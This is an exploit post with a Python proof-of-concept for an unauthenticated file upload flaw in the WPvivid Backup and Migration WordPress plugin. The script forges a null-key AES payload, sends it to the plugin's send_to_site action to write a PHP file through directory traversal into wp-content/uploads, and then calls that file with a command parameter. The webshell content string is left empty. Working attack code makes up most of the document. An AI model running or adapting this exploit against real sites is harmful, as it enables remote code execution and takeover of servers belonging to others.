============================================================================================================================================= | # Title : WordPress WPvivid Backup and Migration 0.9.123 Unauthenticated Arbitrary File Upload Leading to RCE | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) | | # Vendor : https://wpvivid.com/ | ============================================================================================================================================= [+] Summary : A critical vulnerability in the WPvivid Backup & Migration plugin for WordPress allows unauthenticated attackers to upload arbitrary files, potentially resulting in Remote Code Execution (RCE). The issue stems from a cryptographic fail‑open condition combined with insufficient file path validation. When RSA decryption fails, the plugin continues processing encrypted data using a predictable AES configuration (null key and null IV). This bypasses intended authentication controls. Additionally, improper validation of file paths enables directory traversal, allowing attackers to write files outside the intended backup directory — including into wp-content/uploads/. If PHP execution is permitted in that directory, this can lead to full server compromise. [+] POC : #!/usr/bin/env python3 import argparse import base64 import hashlib import json import random import string import sys from urllib.parse import urljoin import requests from Crypto.Cipher import AES from Crypto.Util.Padding import pad def banner(): print(r""" ╔══════════════════════════════════════════════════════════╗ ║ BY indoushka WPvivid RCE PoC ║ ║ WPvivid Backup & Migration <= 0.9.123 ║ ╚══════════════════════════════════════════════════════════╝ """) SHELL_CONTENT = '' _rand_name = ''.join(random.choices(string.ascii_lowercase + string.digits, k=24)) UPLOAD_PATH = f'../uploads/{_rand_name}.php' def generate_payload() -> str: """ Generates the encrypted exploit payload. """ null_key = b"\x00" * 16 null_iv = b"\x00" * 16 cipher = AES.new(null_key, AES.MODE_CBC, iv=null_iv) params = { "backup_id": "1", "name": UPLOAD_PATH, "data": base64.b64encode(SHELL_CONTENT.encode()).decode(), "offset": 0, "file_size": len(SHELL_CONTENT), "total_size": len(SHELL_CONTENT), "index": 0, "md5": hashlib.md5(SHELL_CONTENT.encode()).hexdigest(), "type": "backup", "status": "running" } plaintext = json.dumps(params).encode() encrypted = cipher.encrypt(pad(plaintext, AES.block_size)) fake_key = b"ABC" packet = ( format(len(fake_key), "03x").encode() + fake_key + format(len(encrypted), "016x").encode() + encrypted ) return base64.b64encode(packet).decode() def exploit(target_url: str, verify_cmd: str) -> bool: """ Sends the exploit payload to the target and verifies RCE. """ target_url = target_url.rstrip("/") + "/" print(f"[*] Target : {target_url}") print(f"[*] Upload path : {UPLOAD_PATH}") print(f"[*] Verify cmd : {verify_cmd}") print() print("[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...") payload = generate_payload() print(f"[+] Payload size : {len(payload)} bytes (base64)") print("[+] Sending exploit via wpvivid_action=send_to_site ...") try: resp = requests.post( target_url, data={ "wpvivid_action": "send_to_site", "wpvivid_content": payload, }, timeout=30, ) print(f"[+] Response : {resp.status_code}") if resp.text: print(f"[+] Body : {resp.text[:500]}") except requests.RequestException as e: print(f"[-] Request failed: {e}") return False shell_filename = UPLOAD_PATH.split("/")[-1] shell_url = urljoin(target_url, f"wp-content/uploads/{shell_filename}") verify_url = f"{shell_url}?cmd={verify_cmd}" print() print(f"[+] Verifying RCE at: {verify_url}") try: verify_resp = requests.get(verify_url, timeout=15) if verify_resp.status_code == 200 and verify_resp.text.strip(): print(f"[✓] RCE Confirmed!") print(f"[✓] Output:\n{verify_resp.text.strip()}") return True else: print(f"[!] Shell responded with status {verify_resp.status_code}") print(f"[!] Body: {verify_resp.text[:200]}") return False except requests.RequestException as e: print(f"[-] Verification failed: {e}") return False def main(): banner() parser = argparse.ArgumentParser( description="CVE-2026-1357 WPvivid Backup & Migration RCE PoC" ) parser.add_argument( "-u", "--url", required=True, help="Target WordPress URL (e.g. http://localhost)" ) parser.add_argument( "-c", "--cmd", default="id", help="Command to execute for RCE verification (default: id)" ) args = parser.parse_args() success = exploit(args.url, args.cmd) sys.exit(0 if success else 1) if __name__ == "__main__": main() Greetings to :====================================================================== jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)| ====================================================================================